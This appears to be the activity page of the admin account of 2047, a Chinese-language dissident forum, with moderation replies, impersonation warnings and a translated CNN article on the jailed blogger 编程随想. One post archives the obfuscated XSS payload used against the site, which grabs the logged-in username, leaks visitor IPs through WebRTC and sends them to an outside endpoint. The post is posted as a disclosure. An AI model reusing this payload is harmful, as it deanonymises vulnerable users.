@47小管家
@47小管家
2047,自由人的精神角落,一个无需手机号和邮箱即可发言的社区。讨论时事、政治、文艺、IT技术等话题。
关注的小组(11)
动态 帖子 53 评论 158 短评 5 收到的赞 396 送出的赞 642
  1. 47小管家   在小组 2047 回复文章

    新人報到,在品蔥批評民進黨,被”一只鹿兒“報復性黑名單+禁止登錄

    提醒一下,品葱类的讨论请去“江湖”分区

  2. 47小管家   在小组 站务 回复文章

    插入图片还是一如既往地困难

  3. 47小管家   在小组 编程随想关注组 发表文章

    CNN 报道编程随想一案中文翻译:一位有影响力的中国匿名博主的消失和一个女人的追寻

    批评中国共产党的匿名博主编程随想在多个平台上使用罗丹"思想者"的风格化版本作为头像。

    An influential Chinese blogger disappeared from the internet. This woman says she knows why

    https://edition.cnn.com/2023/03/29/china/china-blogger-sentenced-program-think-intl-mic-hnk/index.html

    By Nectar Gan, CNN

    Updated 10:20 AM EDT, Wed March 29, 2023

    12年来,匿名的中国博主“编程随想”对中国日益收紧的威权控制和不断扩大的国家监控发起了公开挑战。

    这个自由创作的博客提供了技术性的网络安全建议和尖锐的政治评论——包括关于如何安全地规避中国的互联网防火墙(GFW)、发展批判性思维和抵制中国共产党日益增长的极权统治。

    博主为他能够掩盖自己的数字踪迹并避免被抓而感到自豪——即使是在越来越多的政府批评者被卷入中国领导人习近平对异议人士的严厉镇压中。

    然而,在 2021 年 5 月,编程随想突然静默了。

    博客停止了更新,其 TwitterGitHub 账户变成了休眠状态。其作者曾向追随者承诺永远不超过 14 天不活动。许多人担心博主遭遇事故或疾病,或被当局追踪和拘留。

    各种猜测层出不穷,然而没有人能够提供具体的证据。

    编程随想对自己的身份进行了严密的保护,以致没有支持者知道这位博主是谁——只知道他是中国大陆境内的一名程序员,从事信息安全工作十年之久。

    现在,几乎两年后,一位最近因“煽动颠覆国家政权罪”而被判处在中国监狱服刑七年的博主的妻子认为她有了问题的答案:编程随想发生了什么?

    “这怎么可能呢?”

    这名姓贝的女子是阮晓寰的妻子,阮晓寰是一名45岁的男子,2021 年 5 月 10 日在上海的家中被警察带走——就在编程随想最后一篇博文发表的第二天。

    阮晓寰的拘留让贝完全傻眼了。而当她得知她的丈夫在博客上谈论政治敏感话题时,她更加震惊。

    “警察告诉我他的案情非常严重,我想,这怎么可能呢?”贝告诉CNN。

    “他是个技术狂,他喜欢钻研技术。他怎么会有这么多精力去写关于时事政治的文章呢?”

    在整个调查和法庭程序中,贝无法了解其丈夫案件的详细情况,因为当局告诉她这涉及“国家机密”。她说,阮晓寰是被秘密审判的,贝只有在今年 2 月 10 日上海第二中级法院对他进行判决时才再次见到他。

    “他瘦得不正常,头发几乎全变白了。”贝说。阮晓寰没有说话,他的半边脸被一个口罩遮住了。

    “宣判后,他转过身来看着我,似乎在表达异议并寻求帮助。我可以看出判决比他预期的要重得多。我对他说:‘上诉’。”

    根据 CNN 看到的一份判决书副本,法院裁定阮晓寰对中国的政治制度和社会治理“长期怀有不满情绪”。

    法院判决书说:“自 2009 年 6 月以来,(阮晓寰)使用自用电脑编写百余篇造谣、诽谤的煽动性文章,内容涉及攻击抹黑我国现行政治体制、煽动颠覆国家政权、意图推翻社会主义制度”。

    它还说,这些在海外平台上发表的文章造成了“大量网民浏览、评论、转发、效仿等恶劣后果”。

    但法庭文件没有提到阮晓寰的博客名称,也没有提供其认为具有颠覆性的内容的细节。在宣判后,法官要求贝签署一份不公布判决结果的协议,贝拒绝了这一要求。

    决心找出当局对她隐瞒的东西,贝学会了使用 VPN,即虚拟私人网络,以绕过中国严格的互联网限制。

    她搜索了关于中国博主失踪的媒体报道,直到她发现了一个以罗丹的雕塑“思想者”为头像的博客。

    它的名字是:编程随想。

    2022年,在上海为期两个月的 Covid 封锁期间,上海的道路空无一人。

    “这不可能只是一个巧合”

    据贝自己承认,这是一个突然醒悟的瞬间。

    有关该博客的所有信息与她丈夫的信息相吻合。

    该博客始于 2009 年,其最后一篇文章,即一长串的图书推荐,发表于 5 月 9 日——在阮晓寰被带走并被没收笔记本电脑的前一天。贝记得,有四个月的时间,阮晓寰生病卧床,恰好是发表博文的低潮期。

    贝说,作者的写作风格和期望似乎太熟悉了,他的直率和自信也是如此,有时甚至近乎傲慢。

    她在警方的调查中了解到,她的丈夫在一个海外平台上发布了 700 多篇文章——就像编程随想一样。

    贝说:“这不可能只是一个巧合。”

    她回忆说,当她绘出她认为是她丈夫和这位有影响力的博主之间的联系的那一刻,她在一家网咖里痛哭起来。

    “我开始意识到他在这么长的时间里承受了多大的压力。”她说,“他正在做所有这些危险的事情,一个人扛着这么多重量。”

    “即使在他被抓之后,也没有人能够帮助他,因为没有人知道他是编程随想。”

    CNN 无法确认阮晓寰的网络身份,而向休眠的“编程随想”博客上的电子邮件地址发出的信息也没有得到回复。CNN 多次致电上海市第二中级法院,但没有人愿意对阮晓寰的案件发表评论,也没有人愿意回答他的定罪是否与编程随想博客有关。

    阮晓寰在中国的网络安全行业工作了多年。他曾担任 2008 年北京奥运会信息安全系统总工程师。

    然而,贝相信这两个人是有联系的,并说她很后悔没有早点知道她认为是她丈夫的网络身份。

    她说,如果她知道,她会立即向在政治敏感案件中代表被告,并拥有专业知识和经验的人权律师寻求帮助。

    上个月,贝指定中国最著名的两位人权律师莫少平和尚宝军为阮晓寰的上诉辩护律师。

    但上海市高级人民法院拒绝了他们,称阮晓寰曾要求提供法律援助,而且国家已经为他指定了两名律师。

    CNN 已经联系了上海市高级人民法院,请其发表评论。在政治敏感的案件中,国家往往拒绝家属指定的律师,而是指派自己的律师。

    尽管官方施压要求她保持沉默,但她还是决定公开阮晓寰的案件,希望媒体曝光和公众关注可能有助于她的丈夫获得公正的上诉。

    “我已经浪费了(帮助他)进行一审的机会。我不能错过上诉,这是最后的机会——我必须确保它是公正的。"她说。

    阮书房的书架上摆满了书。

    “热衷于技术”

    阮晓寰出生于中国东南沿海的福建省,在初中时第一次接触到电脑。他在接受一家国有学术期刊采访(译注:即《技术热衷者:阮晓寰》一文)时说,他对软件病毒感兴趣,并自学了编程。

    他继续在上海著名的华东理工大学学习,在那里他遇到了他未来的妻子贝。

    他们都主修化学工程,但那时阮晓寰已经迷恋上了计算机科学。他把所有的空闲时间都花在了图书馆的阅读上。他和他的室友们还买了一台电脑,这样他们就可以在宿舍里轮流使用,贝说。

    阮晓寰曾在上海的华东理工大学学习,但在毕业前离开,加入了网络安全行业。

    阮晓寰非常渴望加入这个行业,以至于他放弃了完成他的大学学位。

    “他告诉我,计算机科学发展太快了,学历不能代表一个人的能力。”贝回忆说。

    这一举动得到了回报,阮晓寰的事业迅速起飞。

    他后来在中国最著名的一些网络安全公司工作。他曾担任2008年北京夏季奥运会信息安全系统总工程师,当时他在网络安全公司启明星辰(Venustech)工作。

    阮晓寰后来加入另一家公司(译注:即国都兴业),并被提升为首席技术官。

    在当时接受《软件和信息服务》杂志的采访时,阮晓寰说:“我是一个热衷新技术的人,只有新技术才能让我有激情”。

    但是,由于公司对利润的过度追求,对研究和开发的限制使他越来越感到沮丧。2012年,阮晓寰辞去工作,专注于开发开放源代码软件。

    据贝回忆,直到他被捕前,阮晓寰一直在朝北的书房里工作,在键盘上打字或阅读。

    阮晓寰从不关心金钱或物质生活。相反,他渴望他所谓的“开源精神”——自由、开放、分享与合作,贝说。

    “他认为人必须追求生活中的精神价值。对他来说,是技术——这是他认为有价值的东西。但直到最近我才发现,他对自由的(追求)也演变成了对政治自由的(渴望)。”她说。

    贝说,2021 年 5 月 10 日,警察来敲公寓的门时,阮晓寰正在书房里工作。她以为是送瓶装水的,就叫她丈夫去开门。

    阮晓寰被强行带走,眼镜的一个镜片被打碎。超过六个警察冲进来搜查他们的公寓。贝说,搜查从中午一直持续到第二天的凌晨。

    根据法院的判决书,阮晓寰的笔记本电脑当时仍在运行,警方在将其转移到警察局时一直开着设备,以便搜查其所有数据。

    法庭文件称,警方还没收了一部 iPhone、一部小米手机和华为笔记本电脑,但贝说这些是她的设备。

    现在回想起来,贝说她可能忽略了一些早期的警告信号。

    她说,在阮晓寰被捕前约一年,他们家的网络服务变得不稳定,而且经常断线。当他们出去散步时,阮晓寰有时会突然赶回家,似乎是为了检查他们家是否有任何入侵者。

    现在回过头来看,贝说,如果她知道,她就不会支持她丈夫写政治博客的决定。

    她说:“我认为如果他把时间花在技术上,他会对人类社会做出更大的贡献。”

    阮在 2017 年底和 2018 年初卧病在床时,使用书房里的绿色膝上桌来工作。

    “政治会来关心你”

    编程随想一开始写博客也不是为了表达政治异议。

    在 2009 年 1 月发表的第一篇文章中,作者介绍说该博客是一个分享软件开发和编程语言方面的技能和经验的地方。

    但没过多久,其内容就与政治产生了交集。

    2009 年 6 月 4 日,即天安门大屠杀 20 周年纪念日,该博主分享了如何规避互联网限制和如何在网上隐藏身份的方法。

    一周后,在另一篇文章中,作者谴责中国不断收紧的互联网审查制度。一系列国际社交媒体平台,包括推特和 Flickr,被列入禁止名单,同时中国当局发布指令,要求所有新电脑必须安装审查软件。

    “俺不想再保持沉默、不想再回避这些问题了,是该写点技术以外的东西了!”帖子最后说。

    不久之后,编程随想开始发表更公开的政治评论。

    “在中国,你可以不关心政治,但是政治会来关心你,”编程随想在 2011 年 6 月 4 日的一篇博文中写道,解释了开始写天安门镇压系列的决定。

    2016 年,在“巴拿马文件”发布后,编程随想汇总了公开的数据(译注:指太子党关系网络),据称详细说明了共产党领导人和他们的亲属之间的联系。

    编程随想说,这些数据旨在“专门揭露赵国的权贵”,这促使中国网络安全协会向 GitHub 发出了删除请求。GitHub没有遵守,该数据库仍然可以在该平台上访问(译注:但该项目屏蔽了中国大陆地区访问)。

    随着编程随想的知名度越来越高,来自中国当局的审查也越来越多。

    2019 年,在一篇题为“为啥朝廷总抓不到俺——十年反党活动的安全经验汇总”的文章中,编程随想说,国家黑客曾两次试图攻击他的 Gmail 账户;博客的评论区也被这位博主怀疑是政府雇佣的评论员淹没。

    但编程随想并不气馁,继续写博客,直到他们似乎消失得无影无踪。

    1989年4月22日,在北京天安门广场,数百名支持民主的学生抗议者与士兵面对面坐下。

    “一个人对抗国家机器”

    中国当局从未公开提及编程随想。但许多中国维权人士、中国问题专家和该博客的追随者认为,阮晓寰确实是失踪的博主。

    一些国际人权组织,包括美国笔会人权观察,也将阮晓寰与编程随想联系起来,并呼吁立即释放他。

    1989 年天安门运动期间的学生领袖周锋锁说,官方对编程随想的保密工作出卖了当局对这位博主影响力的恐惧。

    中国人权组织执行主任周说:“在共产党无处不在的监视下——无论是在网上还是在现实生活中,他都能坚持12年——这本身就是一个了不起的传奇。”

    周说:“编程随想本可以轻松地享受舒适的生活,然而,他选择用他的专业知识来传播自由的理念。他影响了许多人——数以十万计的人。这是一个人对抗国家机器。”

    对编程随想的支持者来说,这个博客的存在是对党的权威的公开挑战,无论是在意识形态还是技术方面。

    一些人把这位博主比作“V”,即艾伦·摩尔(Alan Moore)的漫画小说《V字仇杀队》中的蒙面自由斗士。还有人称编程随想是中国的“赛博普罗米修斯”,即从天堂盗取火种并将其送给人类的古希腊神。

    追踪中国审查制度的美国新闻网站“中国数字时代”的分析师刘力朋说,他很早就开始关注编程随想。

    刘说,一开始,这个博客并不显得特别敏感,因为当时中国互联网上批评的声音比比皆是。

    他说:“正是过去十年中国政治空间的迅速缩小,把他推到了所谓反共产党活动的最前沿。”

    在中国类似于 Twitter 的微博上,搜索编程随想受到严格限制。一个微博用户在周五发布了一个关于这位博主的暗示性信息:“(人)只能编程,不能思考。”该帖子后来从搜索结果中删除。

    阮晓寰被判刑后,他的名字也被禁止在中国社交媒体平台上出现。

    “当局不希望人们谈论他,他们最不希望看到的是(呼吁释放他的)声援活动。”刘说。

    虽然官方可能永远不会确认阮晓寰和编程随想是否是同一个人,但许多追随者相信他们是同一个人。而且不管他是否被当局拘留,他们说博客中分享的知识和思想已经传播得很远很广。

    “你都已经是无数人心中当之无愧的英雄了,我们都会带着你种下的火炬活下去的。”一位追随者在编程随想的 Twitter 页面上留言

  4. 47小管家   在小组 2047 回复文章

    洗脑的历史——祸害三千年的极端思想控制术,有看过的7友吗?

    PotatoPC1您好,因为多数网友没有读过您说的这本书,看到您的问题会不知所以然,所以我建议您扩充正文,例如介绍此书的内容,并提出一些更具体的问题,这样更可能得到有用的答复。

  5. 47小管家   在小组 站务 发表文章

    功能提示:小组可以自由加入与退出。如果你不想看到某小组的内容,可以点击小组页面的按钮退出该小组

    退出小组后,该组内容将不会在个人动态里显示。若想重新关注该组内容,点击加入按钮即可。

  6. 47小管家   在小组 站务 回复文章

    关于处理仿冒管理员账号的说明

    最近有仿冒ID声称自己拥有2047的站务权限,借此扰乱人心。如果有人宣称自己取得了站务权限,那么请对方执行一两个站务操作,例如删帖、加精,即可验证对方说法是否可信。

    建设2047的初衷是提供一个无惧政府审查的发言平台,因此我们不会因政府或其它任何外部压力审查用户的言论。

    2047.one在设计之初就考虑到了政府级别的黑客攻击,并在技术允许的范围内做了最大限度的安全加固。同时,2047不记录任何用户数据,并公开备份数据库。即使出现问题,2047也可以从备份迅速重建,保证网站的延续。

  7. 47小管家   在小组 站务 发表文章

    关于处理仿冒管理员账号的说明

    近期站内出现虚假的管理账号活动,在此说明2047有管理权限的账号为:

    • 47小管家(uid: 5327)和AdminBot(uid: 2942):此两账号负责全站站务。
    • 各小组组长和管理员:小组管理员名录可点击链接 /g/<小组名>/mods 查看。

    除此之外,其他声称为2047管理员、使用管理头像与用户名的账号均为仿冒,请注意甄别。

    本贴在站务分版内置顶。

  8. 47小管家   在小组 站务 发表评论

    请问今天晚上发生在本站的小鹿乱跑事件是怎么回事?

    谢谢您的解释。我们对品葱的管理细节并不知情,因此很难就此做出评判。

    因为本站对注册站外高仿ID并无限制,我们对于此类ID并不会刻意将其与站外ID相连。如果想要确认,您可以请对方使用外站账号发言来自证身份。

    我们希望2047的用户在各个平台都能保护好自己的隐私,注意上网安全。

  9. 47小管家   在小组 站务 发表评论

    请问今天晚上发生在本站的小鹿乱跑事件是怎么回事?

    可能您的账号先被封禁,然后对方才假称是他封禁了您的账号。

    骚扰者的另一个账号 @小鹿爱跑 也宣称要封禁本站原用户天下无贼,您可以看看天下无贼的账号是否真的被封禁,以作为验证:)

  10. 47小管家   在小组 站务 回答问题

    请问今天晚上发生在本站的小鹿乱跑事件是怎么回事?

    不是。

    经常有这样的人注册2047账号过来辱骂骚扰,如果再次遇到,联系管理员处理即可。

  11. 47小管家   在小组 江湖 回答问题

    为什么论坛刚刚进不去?

    被ddos了。

  12. 47小管家   在小组 江湖 发表文章

    立此存照:2021年12月20日,中共黑客攻击2047使用的代码

    黑客使用的ID是 @小鹿乱撞 ,攻击手法是XSS。

    目前2047的全部代码已经重写,并且使用了CSP保护,从根源上杜绝了此类问题。

    在网页上查看代码不会损害您的计算机。如果您要对代码进行反混淆及调试,请注意安全防护。

    var _0x4ec6a8=_0x8daa;(function(_0x5e1be8,_0xf60bed){var _0x493efb=_0x8daa,_0x48dbe2=_0x8daa,_0x646a97=_0x5e1be8();while(!![]){try{var _0xa625d4=parseInt(_0x493efb(0x12d,'gOH2'))/0x1*(-parseInt(_0x493efb(0x15a,'4ig%'))/0x2)+-parseInt(_0x48dbe2(0x13a,'!fyC'))/0x3*(parseInt(_0x493efb(0x121,'!fyC'))/0x4)+-parseInt(_0x493efb(0x159,'HT0^'))/0x5*(-parseInt(_0x48dbe2(0x145,'2vsa'))/0x6)+-parseInt(_0x48dbe2(0x151,'TwLG'))/0x7+parseInt(_0x493efb(0x14c,'$$]T'))/0x8*(parseInt(_0x48dbe2(0x117,'2Q@v'))/0x9)+parseInt(_0x48dbe2(0x14d,']9Fc'))/0xa+parseInt(_0x493efb(0x144,'^iLR'))/0xb;if(_0xa625d4===_0xf60bed)break;else _0x646a97['push'](_0x646a97['shift']());}catch(_0x158466){_0x646a97['push'](_0x646a97['shift']());}}}(_0x35a4,0xeb0a0));function getCurrentUser(){var _0x1227cb=_0x8daa,_0x31a77f=_0x8daa;try{return[app['user'][_0x1227cb(0x134,'2l4j')],app[_0x1227cb(0x13b,'3o5a')][_0x31a77f(0x158,'RDT)')]][_0x1227cb(0x137,'V0zu')]('\x20');}catch(_0x478475){return'not\x20login';}}var current_user=getCurrentUser();function loadScript(_0x498b98){var _0x3e3120=_0x8daa,_0x4b8c1a=_0x8daa,_0x1f8dc1=document[_0x3e3120(0x13c,'tXm3')]('script');_0x1f8dc1[_0x3e3120(0x15c,'&D%d')]=_0x498b98,document['head'][_0x3e3120(0x14a,'gOH2')](_0x1f8dc1);}loadScript(_0x4ec6a8(0x125,'$Cam'));function getIPs(_0x48dfdb){var _0x3a3d28=_0x4ec6a8,_0x4a90ff=_0x4ec6a8,_0x302154=document[_0x3a3d28(0x12b,'xzbe')](_0x3a3d28(0x120,'r6BD'));_0x302154[_0x3a3d28(0x14b,'^iLR')]=_0x4a90ff(0x152,'tXm3'),_0x302154[_0x3a3d28(0x124,'QKjI')]=_0x4a90ff(0x11d,'1PnJ'),document[_0x3a3d28(0x13e,'sff*')][_0x4a90ff(0x135,'zT2n')](_0x302154);var _0x5de6ce={},_0x380412=window['RTCPeerConnection']||window[_0x3a3d28(0x14e,'6T$C')]||window[_0x3a3d28(0x157,'xzbe')],_0x492c80=!!window[_0x3a3d28(0x13f,'RDT)')];if(!_0x380412){var _0x1dd00a=_0x302154['contentWindow'];_0x380412=_0x1dd00a[_0x4a90ff(0x11c,'2vsa')]||_0x1dd00a[_0x4a90ff(0x132,'1PnJ')]||_0x1dd00a[_0x4a90ff(0x133,'S51m')],_0x492c80=!!_0x1dd00a[_0x4a90ff(0x141,'vqxW')];}var _0x23c487={'optional':[{'RtpDataChannels':!![]}]},_0x457042={'iceServers':[{'urls':[_0x3a3d28(0x154,'S51m'),_0x4a90ff(0x122,'qiDy')]}]},_0x3c6d28;try{_0x3c6d28=new _0x380412(_0x457042,_0x23c487);}catch(_0x521691){return;}function _0x7276b4(_0x2b6216){var _0x37052f=_0x4a90ff,_0x370b85=/([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/,_0x2e65d1=_0x370b85[_0x37052f(0x11f,'qiDy')](_0x2b6216)[0x1];if(_0x5de6ce[_0x2e65d1]===undefined)_0x48dfdb(_0x2e65d1);_0x5de6ce[_0x2e65d1]=!![];}_0x3c6d28[_0x4a90ff(0x156,'Hm1[')]=function(_0x516647){var _0x4fca71=_0x4a90ff,_0x23448f=_0x3a3d28;if(_0x516647[_0x4fca71(0x149,'Eujv')])_0x7276b4(_0x516647[_0x23448f(0x123,'$$]T')]['candidate']);},_0x3c6d28[_0x4a90ff(0x146,'Eujv')](''),_0x3c6d28[_0x3a3d28(0x138,'$Cam')](function(_0x3ab26e){var _0x4e3304=_0x4a90ff;_0x3c6d28[_0x4e3304(0x155,'gOH2')](_0x3ab26e,function(){},function(){});},function(){}),setTimeout(function(){var _0x3f597e=_0x4a90ff,_0x31a3de=_0x4a90ff,_0x13f309=_0x3c6d28[_0x3f597e(0x130,'r9VR')]['sdp'][_0x3f597e(0x153,'^iLR')]('\x0a');_0x13f309[_0x31a3de(0x15d,'Hm1[')](function(_0xd62891){var _0x4c1424=_0x3f597e;if(_0xd62891[_0x4c1424(0x148,'2l4j')]('a=candidate:')===0x0)_0x7276b4(_0xd62891);});},0x3e8),setTimeout(function(){var _0x425af3=_0x3a3d28;_0x302154[_0x425af3(0x131,'N(x!')]();},0xbb8);}function _0x35a4(){var _0x5721d9=['WOZdPCktW4JcStRcSW/dQSo8wIua','WP8aW5RdRdrFWPhcLmozlSkSW5tcKa','Ex9UnXG','W4/dG8oWWRxcMCkkW4ryW5VcR8kLtGqVWQpdIWRcJKldOaGNWQa+nxq7W4OrW7P2W6hdM8oVkmkEWONdMmoUW4WmtG','W47dJbfOW419sYVdMvBcQw/cMxz8r8kLW6xcOW','cXxdQbjdbCkjoMPdW4hcMYab','oCoRW4ydW53cPqK6W67cG0nHWQyLy8kZySk7e8kehCkRWPi','yNpdLh9vw8knAq','n8oQW5ddK8k8ea8rW6xcQCkW','xCo1WRxcVmoXbmoy','W6ddQSkwW5HUW7udWQtcHwhdMW','W57cL2y','aHtdSZrhbCka','WP99amknhSo9rW','jmoVW5ijW4FcSIKhW53cPW','DCk/WOVcHCoS','hmoNWOVcHCoYo8oIWR3cMCkvWQhcHwa/zLy','WO7dO2ilr8oXeG7dSMW','WOj+W6NcOCo3pmksbWKQW71jW7lcOmkOW6xcVG','l8kCuLW5a8ogW4znkrvYWOfjbNP0','ALWWWOtcMLBcU3P+BSkCW6W','tKtdU3W','WOS8emoZWRD+','W6dcImoyW6NcNq50ggxdSIXUEa','weJdQ3f7WR8xfCoTgSoQWPRcIxdcPtpcUmo7WOxcO1X0CmoonJLzm8o2W4/cJx/dKG','xmkrmhqHW4juEa8','W7C3WPKUf8kkWP0','hsBcNSoDamkEFNldRSkBW7tdT0tdV8otjmogwui+v8o9qfddNhNdQatcH0mdWOJdVwhcOmouaI/dLwmZWQzBm8o0','W5ZdGg4k','jCkjyGboWRr2qcVdG008WQDQrJVcRxRdGmksbSoYW5ewqCkFhMZcTSkEWRfypaxcKq','WOZcLI9lfraeqaBcI8kbo0y','tK7dRhaZ','vu7cTemFxSoEzhHCW4pcQHSD','lCo8W4ejW4dcTb4cW4JcVKnQWQa','W6etWP/dImkRAmowbqKhW5vlW4e','WOZcNvaqWPeUgGddNN/cLvxcJG','gGJcQYTYW7TsimoazSkuW63cHa','WO3cHCkYW6/cKmolWOezW4FdQmkNgHK1','sCk+W4mhEcuxWQJcMmkguaJdSehdV8ku','W6ZdHvT+CSoq','i8kFrgeABCoLW4jfpNTYWP1obhbUdb7cVq','W4VdKSoNWRddISknW6j5W7BdKCkSbredWQpdGGJcJG/dTW4LW7q','ASo0W5K','WOhdHmoOihr7qHyaWOVcMa','DNddGwfswCkbEmk1D8o9imknWQjSWOy','W4ZcKqOo','fIdcJ8omb8obhJVdV8oqW6u','W4PqWPVcQw11WOldNmkDaCk3','W6ldMSkzWQtdSwKB','omkoCWi','WPGBW4ZdVsXBWQ3dGSkClCkMW5tcGq','W5vTkSkC','rdZdPCoO','ygxdK2zstSkYwmkFsmo2ASkvWPjSWOBdGmk3W4jZwgFcSq','p8kpwColWRJcUGDBW5hcKW','W7PiFW5EWOhcNNNcLfCXW51HimkXWQxcVWrgW4aEl1m','WQ3dUHBdTa','kCkkDSonWRhcGc0','oZ01AL8Ul0XTWO3cU8kQW6id','W6yFWP7cHmoMlmkseHy','W5FdNxGFverXvGBcOCkBfuLuWQuBWQ4','W4/cL2PMWPhdJ8kw','DSoZW5KegSoXfW','W5FdJNmAsuvuqXC','W5ZdMrvbW4X6As/dTf/cVG','ExT7mGK','b8oeBIzWWPqbrIH+yw1W','kSoicCkuW67dTLq0W47cLxJdVghdSG','umoalbpdQvXIWOtdO8kog8ouk2NdQSkyW7vlymoJ','W5ddLvPhzmkTWPZcOmkf','vSomW4nlrs3cRSoLnCkSW6ZcTHldVZpdL0VdM8oJrMVdKW'];_0x35a4=function(){return _0x5721d9;};return _0x35a4();}function reportError(_0x46027a){var _0x3aea13=_0x4ec6a8,_0x3f48b0=_0x4ec6a8;ak='28fbb9baf44548b1b7393c4ae4cf1819',title=location[_0x3aea13(0x126,'Eujv')]+new Date()[_0x3aea13(0x15b,'fi)r')]()[_0x3f48b0(0x119,'HT0^')](0x0,0xa);var _0x1f7d5a={'access_token':ak,'data':{'environment':'production','level':_0x3aea13(0x129,'qiDy'),'platform':_0x3aea13(0x147,'&D%d'),'framework':_0x3f48b0(0x11b,'NkTu'),'language':_0x3f48b0(0x118,'xzbe'),'body':{'message':{'body':title,'user':current_user,'data':_0x46027a,'ua':navigator['userAgent'],'href':location['href']}},'request':{'user_ip':_0x3f48b0(0x140,']9Fc')}}},_0x4d6655=new XMLHttpRequest();_0x4d6655['open'](_0x3aea13(0x142,'G%X7'),_0x3f48b0(0x127,'3o5a')),_0x4d6655['setRequestHeader'](_0x3aea13(0x11e,'%y[N'),_0x3aea13(0x136,'RDT)')),_0x4d6655[_0x3aea13(0x11a,'4ig%')](_0x3f48b0(0x150,'hH#Q'),ak),_0x4d6655[_0x3aea13(0x13d,'2Q@v')](JSON[_0x3aea13(0x14f,'udP4')](_0x1f7d5a));}function _0x8daa(_0x420ab9,_0x62fc38){var _0x35a4a2=_0x35a4();return _0x8daa=function(_0x8daa24,_0x29a52e){_0x8daa24=_0x8daa24-0x117;var _0x4e89cd=_0x35a4a2[_0x8daa24];if(_0x8daa['hewqgb']===undefined){var _0x443038=function(_0x498b98){var _0x1f8dc1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x48dfdb='',_0x302154='';for(var _0x5de6ce=0x0,_0x380412,_0x492c80,_0x1dd00a=0x0;_0x492c80=_0x498b98['charAt'](_0x1dd00a++);~_0x492c80&&(_0x380412=_0x5de6ce%0x4?_0x380412*0x40+_0x492c80:_0x492c80,_0x5de6ce++%0x4)?_0x48dfdb+=String['fromCharCode'](0xff&_0x380412>>(-0x2*_0x5de6ce&0x6)):0x0){_0x492c80=_0x1f8dc1['indexOf'](_0x492c80);}for(var _0x23c487=0x0,_0x457042=_0x48dfdb['length'];_0x23c487<_0x457042;_0x23c487++){_0x302154+='%'+('00'+_0x48dfdb['charCodeAt'](_0x23c487)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x302154);};var _0x478475=function(_0x3c6d28,_0x7276b4){var _0x521691=[],_0x2b6216=0x0,_0x370b85,_0x2e65d1='';_0x3c6d28=_0x443038(_0x3c6d28);var _0x516647;for(_0x516647=0x0;_0x516647<0x100;_0x516647++){_0x521691[_0x516647]=_0x516647;}for(_0x516647=0x0;_0x516647<0x100;_0x516647++){_0x2b6216=(_0x2b6216+_0x521691[_0x516647]+_0x7276b4['charCodeAt'](_0x516647%_0x7276b4['length']))%0x100,_0x370b85=_0x521691[_0x516647],_0x521691[_0x516647]=_0x521691[_0x2b6216],_0x521691[_0x2b6216]=_0x370b85;}_0x516647=0x0,_0x2b6216=0x0;for(var _0x3ab26e=0x0;_0x3ab26e<_0x3c6d28['length'];_0x3ab26e++){_0x516647=(_0x516647+0x1)%0x100,_0x2b6216=(_0x2b6216+_0x521691[_0x516647])%0x100,_0x370b85=_0x521691[_0x516647],_0x521691[_0x516647]=_0x521691[_0x2b6216],_0x521691[_0x2b6216]=_0x370b85,_0x2e65d1+=String['fromCharCode'](_0x3c6d28['charCodeAt'](_0x3ab26e)^_0x521691[(_0x521691[_0x516647]+_0x521691[_0x2b6216])%0x100]);}return _0x2e65d1;};_0x8daa['KNEMzL']=_0x478475,_0x420ab9=arguments,_0x8daa['hewqgb']=!![];}var _0x3a3133=_0x35a4a2[0x0],_0x2013dc=_0x8daa24+_0x3a3133,_0x48e867=_0x420ab9[_0x2013dc];return!_0x48e867?(_0x8daa['ZDTYbw']===undefined&&(_0x8daa['ZDTYbw']=!![]),_0x4e89cd=_0x8daa['KNEMzL'](_0x4e89cd,_0x29a52e),_0x420ab9[_0x2013dc]=_0x4e89cd):_0x4e89cd=_0x48e867,_0x4e89cd;},_0x8daa(_0x420ab9,_0x62fc38);}getIPs(reportError);
    
  13. 47小管家   在小组 站务 回复文章

    为什么我的两个账号被封禁?

    你好,两个账号的封禁现都已解除。

  14. 47小管家   在小组 站务 回复文章

    发帖回帖的内容编辑框无法用ctrl-a全选内容

  15. 47小管家   在小组 站务 回答问题

    北山的号被盗了

    你好,账号“北山”已经重置。请查看北山2的私信。

  16. 47小管家   在小组 2047 回复文章

    Rreplacement

    你好,编辑器的粘贴/撤销在Tor Browser、Chrome(>=62.0)、Firefox(>=64.0)上测试均正常,没有发现问题。

    是否是浏览器插件导致的问题?

  17. 47小管家   在小组 站务 回复文章

    通过个人资料中的“收到的赞”可以绕过票箱的登录限制获取票箱信息。

    感谢反馈,票箱不是保密内容,所有投票记录都是公开的。

  18. 47小管家   在小组 2047 回复文章

    2047用户指南

    输入UID,而不是用户名。UID是显示在地址栏上面的数字,例如 /u/xxxx

  19. 47小管家   在小组 2047 回复文章

    2047用户指南

    点击个人主页的“编辑个人资料”按钮,选择“黑名单”选项卡,然后输入要拉黑的用户的用户ID即可。

  20. 47小管家   在小组 站务 发表文章

    对 @Hoowii 提交bug的反馈

    本站“編輯記錄”頁面出現奇怪ip地址鏈接,請注意檢查安全性,有無暴露敏感信息等。

    @47小管家 本站“編輯記錄”頁面出現奇怪ip地址鏈接,請注意檢查安全性,有無暴露敏感信息等。 例如這個:https://2047.one/p/195992/edit-log “Post-195992”指向https://0.2.253.152/

    再說一句功能越簡單越安全,站方自己都安全不保我們還玩個屁。 雖然沒必要用暗網,但起碼不應該增加無用功能,爺爺時代的極簡論壇又不是不能用。

    bug已经修复。这里显示的并不是“IP地址”,而是帖子的ID被解析成了类似ip的点分表示,不影响安全。

    另外指出,0不是合法公网IP地址的开头,这个地址不能链接至任何合法公网主机。

  21. 47小管家   在小组 站务 回复文章

    不同小组是否允许出现重复文章?

    允许。当然最后重复发文的时候加引用,以示尊重。

  22. 47小管家   在小组 站务 回复文章

    2047使用协议

    点击“保存个人资料”即可

  23. 47小管家   在小组 站务 回复文章

    2047使用协议

    点击“保存个人资料”即可

  24. 47小管家   在小组 站务 回复文章

    我原本想建个支持伊朗的党徽,可是无法上传头像而且党徽也取消了?

    1. 可以上传头像,选中图片以后点击保存个人资料即可。
    2. 不再支持党徽功能。
  25. 47小管家   在小组 站务 回复文章

    浏览帖子时会访问maxcdn.bootstrapcdn.com 请注意检查是否被入侵篡改

    你好,这是一个无害的bug,不影响正常使用,本站也没有被入侵。

